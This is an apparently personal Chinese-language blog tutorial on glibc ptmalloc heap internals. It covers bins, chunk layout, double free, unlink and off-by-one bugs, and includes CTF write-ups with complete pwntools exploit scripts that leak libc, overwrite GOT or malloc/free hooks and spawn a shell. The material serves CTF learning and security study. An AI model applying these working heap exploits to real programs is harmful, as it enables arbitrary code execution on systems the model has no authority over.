堆(pmalloc)入门

发布于 2020-03-01  842 次阅读


堆介绍

什么是堆

在程序运行的过程中,我们会向操作系统申请内存来对数据进行存储。堆其实就是程序虚拟地址空间的一块连续的线性区域,它由低地址向高地址 (不同于栈)方向增长。堆块中的 user data 区域就是我们所申请的内存。用来管理堆的程序叫做堆管理器。

堆管理器

由于本人才疏学浅,只了解 Linux 的堆管理器。目前 Linux 标准发行版中使用的堆分配器是 glibc 中的堆分配器:ptmalloc2。ptmalloc2 主要是通过 malloc/free 函数来分配和释放内存块。

malloc

C语言中用于申请内存的函数,当我们调用函数之后,程序会返回一个内存地址,这块区域可供用户进行读写操作。

具体过程如下:

  1. 堆管理器会向操作系统申请 132KB 的空间,称为 top chunk ,供 ptmalloc 对程序进行内存的分配。不论程序申请的空间为多少,堆管理器都会首先申请 132KB 。
  2. 堆管理器会对刚刚申请的空间进行切割,并将切割得到的堆块作为 malloc 的返回值送给用户程序。

free

与malloc相对的函数,能将申请的堆块重新放入 ptmalloc 的分配区(main_arena)中。

  1. 堆块是否属于 fastbin (后文会提到)?fastbin 是不会被合并的,其他的 bin 会被合并到 top chunk 中,但是注意:free 掉的堆块不会马上合并,要注意第二条。
  2. top chunk 是否与该堆块相邻?与 top chunk 不相邻的堆块会进入相应的 bin 当中。
  3. 如果该堆块旁有一个已经 free 掉的非 fastbin 堆块,它会和那个堆块进行合并,这个过程称为 unlink
  4. 其他规则(还没学QAQ)

堆块结构

这是一个正在使用的堆块的结构(以64位系统为例),从上到下地址依次增加

Snipaste_2020-03-02_23-11-42.png

  1. prev_size 标识对前一个堆块的 size 。如果前一个堆块正被使用,那么它为 0 。
  2. size 表示当前堆块的 size 。其中这个字段的最低位为 prev_inuse ,为了表示前一个堆块的使用情况。若正被使用则为 1 。size 的大小一定会是 16(x64)/ 8(x32)的整数倍。
  3. 若 malloc 的大小的个位 大于 0 ,小于等于 8 (比如 0x32),那么 prev_size 的八字节会被拿来保存前一个堆块的多余信息。
  4. user_data 是 pmalloc 分配的内存空间,ptr 则为 malloc 函数所返回的地址。

bins

main_arena

是一个指针数组 *char main_arena[]**

里面保存了各个 bin 的起始地址的指针 ,包括 fast_bin , small_bin , large_bin

fastbin

我们先写一个小程序

#include<stdio.h>

int main(){
    char *p1 = malloc(0x20);
    char *p2 = malloc(0x21);

    gets(p1);
    gets(p2);
    free(p1);
    free(p2);
}
gcc test.c -o test

并打开 gdb 进行调试:

gdb test
b main
r

我们定位到 gets 函数,将 p1、p2 的内存地址对应的区域找到,并且分别输入

'a' 8 、 'b' 8

Snipaste_2020-03-02_23-34-20.png

pwndbg> x /32gx 0x602010-16
0x602000:       0x0000000000000000      0x0000000000000031
0x602010:       0x6161616161616161      0x0000000000000000
0x602020:       0x0000000000000000      0x0000000000000000
0x602030:       0x0000000000000000      0x0000000000000031
0x602040:       0x6262626262626262      0x0000000000000000
0x602050:       0x0000000000000000      0x0000000000000000

下面解释各个位置的名称

0x602000:prev_size

0x602008:size (因为是第一个堆块,所以它的 prev_inuse 一定是 1,而且因为是 fastbin ,所以 prev_inuse 始终为 1 ,这里需要注意

0x602010:user_data

现在我们继续, free 掉 p1

n

可以看到 p1 的 user_data 被清空了

Snipaste_2020-03-02_23-34-20.png

继续 free 掉 p2

n

可以看到 p2 的 user_data 处被替换为了 p1 的堆块地址

Snipaste_2020-03-02_23-34-20.png

这里就得提到 fastbin 的 FILO(先进后出)

fastbin 是一个单向链表。作为 fastbin 的堆块,P1 会被 main_arena 的 0x30 指针所指

而 P2 加入时, 这个指针会被重新指向 P2,然后 P2 会指向 P1

P2 的 fd 是 user_data 的前 8 Bytes ,用来指向 P1,P1 因为没有结点可指,所以是 0

Snipaste_2020-03-02_23-34-20.png

small_bin

与 fast_bin 差别不大, 但是在回收到 small_bin (之前会先进入 unsorted bin)的过程中,它会被回收到一个双向链表中。

同时 prev_size 的标志会被启用,这个在 unlink 知识点上有所应用

因为 small_bin 是用双向链表进行存储的,所以它的 user_data 的前 16Bytes 分别为 fdbk,指向下一个堆块或者前一个堆块,这一点在我们进行 unlink 的时候非常有用。

同时,像 small_bin 一样的双向链表, 第一个加入其中的堆块,他的 fdbk 都会等于同一个值,即 main_arena + offset, 这就是 use_after_free 的原理,可以写泄露 libc 的地址。

Snipaste_2020-03-02_23-34-20.png

unsorted bin

unsorted bin 是一个存放除 fast_bin 之外 free 掉后的堆块的双向链表。

small_bin 、 large_bin free 掉之后,第一时间会被放入 unsorted bin

其中 unsorted bin 会在下一次 malloc 的时候被检索以及利用,未被利用的区块会被放入 相应的 bins ,具体过程如下:

malloc一个不属于 fastbin 大小的 chunk 的时候,会先在 small bin 和 large bin 里面搜索,如果搜到则直接进行使用

如果没有搜到就搜索 unsorted bin,这个过程中会将 unsorted bin 清空,把区块放入相应的 bin

如果 unsorted bin 搜索完了之后还没有给申请的 chunk 分配,便会从 top chunk 处进行切割

​ -- SuperGate

double free & use after free

double free 的原理是:利用 fastbin 对 fd 不检测的特性,将曾经 free 过的堆块再 free 一次,形成一个循环链表。

当然也不是说完全没有检测,如果你连续 free 同一个堆块两次,就会触发 err:

/* Another simple check: make sure the top of the bin is not the
       record we are going to add (i.e., double free).  */
    if (__builtin_expect (old == p, 0))
      {
        errstr = "double free or corruption (fasttop)";
        goto errout;
}

Snipaste_2020-03-04_00-08-13.png

例题

Roc826s_Note.zip

这个程序提供了 add、delete、show 功能,模板题。

由于 system 地址未知,我们需要泄露 libc 的基地址。

需要了解:在 small bin 、large bin free 掉了之后,如果 unsorted bin 的双向链表只有一个堆块,这个堆块的 fd 和 bk 都等于 main_arena + offset

我们申请一个 small bin 并 free 掉它来获取 libc 基地址。

注意:必须多 malloc 一个其他堆块,否则 small bin 堆块会被合并至 top chunk

前面说过,我们得到了 main_arena + offset 的地址,通过查看内存我们可知 main_arena - 0x8 正是 malloc_hook 的地址,通过这个我们就可以成功通过减法算出 libc_base

我们通过构造两个 fastbin chunk(P1、P2),按照 P1、P2、P1的顺序 free 掉,这样就会形成 main_arena->P1->P2->P1 的循环链表,这个程序并没有检测堆块的状态,所以才能这样攻击。

然后我们 malloc 三次同样大小的 fast_bin chunk,其中在第一次 malloc 时填充 free_got 的地址,目的是后面对其进行修改。

malloc 第三次时,pmalloc 再次对 P1 进行 malloc,它检测到 user_data 的前八个字节(也就是 fd )有内容,便被欺骗,将下一个 malloc 的地址设置为我们刚刚写入的 free_got。

这里有一个检测,pmalloc 会在进行下一次 malloc 的时候检测该堆块是否合法。即这个堆块的 size 是否等于 fastbin 的 size (包括 prev_inuse位)

然后我们再次进行写入,由于上方的检测行为,我们应该在 free_got 的地址之前找一块 8Bytes 的区域,这个长整数刚刚等于 fastbin 的size,(包括 prev_inuse位),通常寻找 0x7f,因为 got 表中的大多数地址都被初始化,指向了 libc 的地址。然后用 padding 填充偏移的字符个数,最终就能成功把 got 表修改。

from pwn import *

context.log_level = 'DEBUG'

p = process('./roc826')
elf = ELF('./roc826')
libc = ELF('./libc-2.23.so')
free_got = elf.got['free']

def add(size, text='aa'):
    p.sendlineafter(':','1')
    p.sendlineafter('size?',str(size))
    p.sendlineafter('content:',text)

def dele(idx):
    p.sendlineafter(':','2')
    p.sendlineafter('index?',str(idx))
    p.recv()

def show(idx):
    p.sendlineafter(':','3')
    p.sendlineafter('index?',str(idx))

add(0x80)   # make a small bin to start uaf attack
add(0x58)   # fastbin
add(0x58)   # fastbin
add(0x58,'/bin/sh\x00')  # fastbin
dele(0)   # small bin's user data becomes addr of main_arina
show(0)   # show main_arina addr
p.recvuntil("content:")
libc_base = u64(p.recv(6) + '\x00\x00') - libc.symbols['__malloc_hook'] - 0x68
success('libc:'+hex(libc_base))
system_addr = libc_base + libc.symbols['system']

dele(1)  # free
dele(2)  # free
dele(1)  # make a self-pointed table    fastbin->node1->node2->node1
add(0x58, p64(0x601ffa))     # fill fd with the addr of free_got(there is a specified place can serve as a 'size')
add(0x58, p64(0x601ffa))
add(0x58, p64(0x601ffa))
add(0x58, 'aaaaaaaaaaaaaa' + p64(libc_base + libc.symbols['system'])[:6])
dele(3)
p.interactive()

unlink

(本题先讨论 fake_chunk 在 next_chunk 之前的情况)

unlink 的前提:堆块地址明确,并且有一个指针指向相应堆块。(后面会讲为什么)

unlink 的原理是:在大堆块的 user_data 上伪造一个 fake_chunk (并且在 next_size 上面标记 prev_inuse = 0),利用 unlink 宏,在 free 掉相邻堆块时,

  1. fake_chunk 会先被从 small_bin / large_bin / unsorted_bin 中拿出来,这个脱离原链表的过程会调用 unlink
  2. 相邻堆块会与虚假堆块进行合并,并且扩展 fake_chunk 的 size (这一步一般没办法利用)

我在图中标明了 pre_chunk 和 next_chunk ,但并不代表它们从一开始就是有指针指向的关系的,只是说它们的目标是要合并到一起。

Snipaste_2020-03-04_01-08-33.png

当然 pmalloc 的安全检测机制没那么简单啦。

以下是源码中的宏定义:

/* Take a chunk off a bin list */
// unlink p
#define unlink(AV, P, BK, FD) {                                            \
    // 由于 P 已经在双向链表中,所以有两个地方记录其大小,所以检查一下其大小是否一致。
    if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))      \
      malloc_printerr ("corrupted size vs. prev_size");               \
    FD = P->fd;                                                                      \
    BK = P->bk;                                                                      \
    // 防止攻击者简单篡改空闲的 chunk 的 fd 与 bk 来实现任意写的效果。
    if (__builtin_expect (FD->bk != P || BK->fd != P, 0))                      \
      malloc_printerr (check_action, "corrupted double-linked list", P, AV);  \
    else {                                                                      \
        FD->bk = BK;                                                              \
        BK->fd = FD;                                                              \
        // 下面主要考虑 P 对应的 nextsize 双向链表的修改
        if (!in_smallbin_range (chunksize_nomask (P))                              \
            // 如果P->fd_nextsize为 NULL,表明 P 未插入到 nextsize 链表中。
            // 那么其实也就没有必要对 nextsize 字段进行修改了。
            // 这里没有去判断 bk_nextsize 字段,可能会出问题。
            && __builtin_expect (P->fd_nextsize != NULL, 0)) {                      \
            // 类似于小的 chunk 的检查思路
            if (__builtin_expect (P->fd_nextsize->bk_nextsize != P, 0)              \
                || __builtin_expect (P->bk_nextsize->fd_nextsize != P, 0))    \
              malloc_printerr (check_action,                                      \
                               "corrupted double-linked list (not small)",    \
                               P, AV);                                              \
            // 这里说明 P 已经在 nextsize 链表中了。
            // 如果 FD 没有在 nextsize 链表中
            if (FD->fd_nextsize == NULL) {                                      \
                // 如果 nextsize 串起来的双链表只有 P 本身,那就直接拿走 P
                // 令 FD 为 nextsize 串起来的
                if (P->fd_nextsize == P)                                      \
                  FD->fd_nextsize = FD->bk_nextsize = FD;                      \
                else {                                                              \
                // 否则我们需要将 FD 插入到 nextsize 形成的双链表中
                    FD->fd_nextsize = P->fd_nextsize;                              \
                    FD->bk_nextsize = P->bk_nextsize;                              \
                    P->fd_nextsize->bk_nextsize = FD;                              \
                    P->bk_nextsize->fd_nextsize = FD;                              \
                  }                                                              \
              } else {                                                              \
                // 如果在的话,直接拿走即可
                P->fd_nextsize->bk_nextsize = P->bk_nextsize;                      \
                P->bk_nextsize->fd_nextsize = P->fd_nextsize;                      \
              }                                                                      \
          }                                                                      \
      }                                                                              \
}

一言以蔽之,pmalloc 将 fake_chunk 当作 P

检测:

  1. P -> fd -> bk == P
  2. P -> bk -> fd == P

(注意:P -> fd != next_chunk,P -> fd 是一个我们伪造出来的假 chunk)

这样就不能对数据进行随意修改了,但是,如果我们有一个指向 fake_chunk指针 (通常是在信息管理系统的指针数组中存在,这里用 pointer_addr 代替),将

  1. fake_fd 修改为 pointer_addr - 0x18
  2. fake_bk 修改为 pointer_addr - 0x10

就可以绕过检测,因为对于任意一个堆块, fd = chunk_addr + 0x10 ,bk = chunk_addr + 0x18

Snipaste_2020-03-04_11-45-08.png

接下来 堆块之间会进行修改:

  1. P -> fd -> bk = P -> bk
  2. P -> bk -> fd = P -> fd

由于 P -> bk -> fd = P -> fd -> bk = List+0 以及两个操作的先后性,最终 List+0 被修改为 P -> fd,如下图:

Snipaste_2020-03-04_11-45-08.png

然后再通过 List 修改自身,使其指向 got 表即可。

总结:其实 next_chunk 只起到了触发 unlink 的作用,并且协助检测了 fake_chunk 的合法性,在 unlink 的修改过程中, next_chunk 没有参与,至于 unlink 之后的堆块合并过程,也不是我们的关注点了。

参考资料

Annevi

这道题和上面一道题类似,不过

  1. 限制了堆块的最小 size:0x144,即不能使用 fastbin attack。
  2. 增加了 edit 功能,可以对堆块进行修改
  3. 用一个数组对每个堆块的使用状况进行检查,我们不能对 free_chunk 进行 delete、show 操作

这个对 libc 的获取并不会产生影响,我们同样的 malloc 一个 small_chunk,在之后 free 掉,然后 重新申请该堆块,并且写入'\n' (这样就成功绕过了堆块状态的检测,同时只损失了 main_arena + offset 的最低位,而 main_arena 的最低位一定是 0x00,所以没有任何影响),成功获取 libc 地址。

from pwn import *
from LibcSearcher import *
from time import sleep
context.log_level = 'DEBUG'

p = process('./annevi')
elf = ELF('./annevi')

def add(size, text = 'aa'):
    p.sendlineafter(':','1')
    p.sendlineafter('size?', str(size))
    p.sendlineafter('content:', text)

def dele(idx):
    p.sendlineafter(':','2')
    p.sendlineafter('index?', str(idx))

def show(idx):
    p.sendlineafter(':','3')
    p.sendlineafter('index?', str(idx))

def edit(idx, text = 'bb'):
    p.sendlineafter(':','4')
    p.sendlineafter('index?', str(idx))
    p.sendlineafter('content:', text)

add(0x90)
add(0x90)
add(0x90)
add(0x90, '/bin/sh\x00')

#gdb.attach(p)
dele(0)
add(0x90, '')
show(0)  #leak the addr of main_arena

p.recvuntil('content:')
malloc_hook_addr = u64(p.recv(6)+'\x00\x00e') - 0xa + 0x10 
# must be careful, cause the lowest byte has been changed

success('malloc_hook_addr = ' + hex(malloc_hook_addr))

#libc = LibcSearcher('__malloc_hook', malloc_hook_addr)
#libc_base = malloc_hook_addr - libc.dump('__malloc_hook')

libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
libc_base = malloc_hook_addr - libc.symbols['__malloc_hook']
success('libc_base = ' + hex(libc_base))

payload1 = p64(0) + p64(0x91) + p64(0x602048-0x18) + p64(0x602048 - 0x10) + '\x00' * 0x70 + p64(0x90) + p64(0xa0)
# make a fake_chunk and its fake_fd, fake_bk as well as next chunk's presize, size

#gdb.attach(p)

edit(1, payload1)
dele(2) # unlink

payload2 = '\x00'*0x18 + p64(libc_base + libc.symbols['__free_hook'])  # edit the addr of list[1]
edit(1, payload2)
edit(1, p64(libc_base + libc.symbols['system'])) # edit got

p.sendline('2')
sleep(0.1)
p.sendline('3') # free('/bin/sh')

p.interactive()

off by one

off by one 就是利用系统对非法内存的一个字节的修改来达到任意地址修改的目的。

对非法内存的修改情况可能有:

  1. 人为失误,将 for(int a = 0; a < 5; a++) 这类循环的小于符号写成了小于等于,导致多写。
  2. 自带库的特性,比如 c语言中字符串的结尾必须是 ‘/x00’,一些库函数对末尾赋零时可能会超出字符串内存范围。

E99

题目也与上面的类似,不过多了 edit 堆块大小的限制,必须在申请的堆块大小范围之内

这里讨论的是人为失误, 本题的 read_n 函数边界条件错误,使得我们可以通过多修改一个字节来达到修改 next_chunk 的 size。

__int64 __fastcall read_n(__int64 a1, int a2)
{
  int i; // [rsp+1Ch] [rbp-4h]

  for ( i = 0; i <= a2; ++i )
  {
    read(0, (void *)(i + a1), 1uLL);
    if ( *(_BYTE *)(i + a1) == 10 )
      break;
  }
  return 0LL;
}

总体思路:

创建三个堆块,其中第二个堆块必须是 fast_chunk,在修改第一个堆块的过程中,利用 off_by_one 的溢出漏洞修改下一个堆块的 size,使其大小能够覆盖第三个堆块(便于修改),然后将第二个第三个堆块 free 掉。

这样 unsorted bin 和 fast bin 就有了相关的指针,然后我们再重新利用 add 功能先申请到第二个堆块 small_chunk(从 unsorted bin)。

现在我们就拥有了 第二个和第三个堆块的完整控制权,也绕过了 edit 函数的 size 限制,然后我们就可以进行 fastbin attack 了,改掉 fast_chunk 的 fd, 再新申请堆块三,下一次申请 fast_chunk 时,就可以指定位置修改内存了(注意在这里构造 payload 还是需要寻找目标地址前面 size 刚好符合的位置)。

#coding=utf8 
from pwn import *
import time
context.log_level = 'debug'
context.terminal = ['gnome-terminal','-x','bash','-c']
local = 1
binary_name = 'e99'

if local:
        cn = process('./'+binary_name)
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)
        #libc = ELF('/lib/i386-linux-gnu/libc-2.23.so',checksec=False)
else:
        cn = remote('47.103.214.163',20302)
        libc = ELF('/lib/x86_64-linux-gnu/libc.so.6',checksec=False)

ru = lambda x : cn.recvuntil(x)
sn = lambda x : cn.send(x)
rl = lambda : cn.recvline()
sl = lambda x : cn.sendline(x)
rv = lambda x : cn.recv(x)
sa = lambda a,b : cn.sendafter(a,b)
sla = lambda a,b : cn.sendlineafter(a,b)
ia = lambda : cn.interactive()

bin = ELF('./'+binary_name,checksec=False)
one1=0x45216
#execve("/bin/sh", rsp+0x30, environ) rax == NULL

one2=0x4526a
#execve("/bin/sh", rsp+0x30, environ) [rsp+0x30] == NULL'''

one3=0xf02a4
#execve("/bin/sh", rsp+0x50, environ) [rsp+0x50] == NULL'''

one4=0xf1147
#execve("/bin/sh", rsp+0x70, environ) [rsp+0x70] == NULL'''

def z(a=''):
        if local:
                gdb.attach(cn,a)
        if a == '':
                raw_input()
        else:
                pass

def add(sz,con='aa'):
        sla(':','1')
        sla('size?',str(sz))
        sla('content:',con)

def show(idx):
        sla(':','3')
        sla('index?',str(idx))

def edit(idx,con):
        sla(':','4')
        sla('index?',str(idx))
        sa('content:',con)

def dele(idx):
        sla(':','2')
        sla('index?',str(idx))

add(0x88) # chunk0
add(0x88) # chunk1
add(0x78) # chunk2
add(0x68) # chunk3

#add(0x88,'/bin/sh')
dele(0) 
add(0x88,'')
show(0)
cn.recvuntil("content:")
lbase=u64(cn.recv(6)+'\x00\x00')-libc.sym['__malloc_hook']+6
success('libc:'+hex(lbase))  # leak libc base

pay='\x00'*0x88+'\xf1' # off_by_one create a fake chunk with size 0xf1
edit(1,pay)

dele(2)   # put the fake_chunk into unsorted bin
dele(3)   # put fast_chunk into fast bin

pay2='\x00'*0x78+p64(0x71)+p64(lbase+libc.sym['__malloc_hook']-0x23)
add(0xd8,pay2)  # fastbin attack

add(0x68)  # padding
add(0x68,'a'*19+p64(lbase+one4)) # change got
sl('1')
sl('1') # getshell
ia()

CTFer|NOIPer|CSGO|摸鱼|菜鸡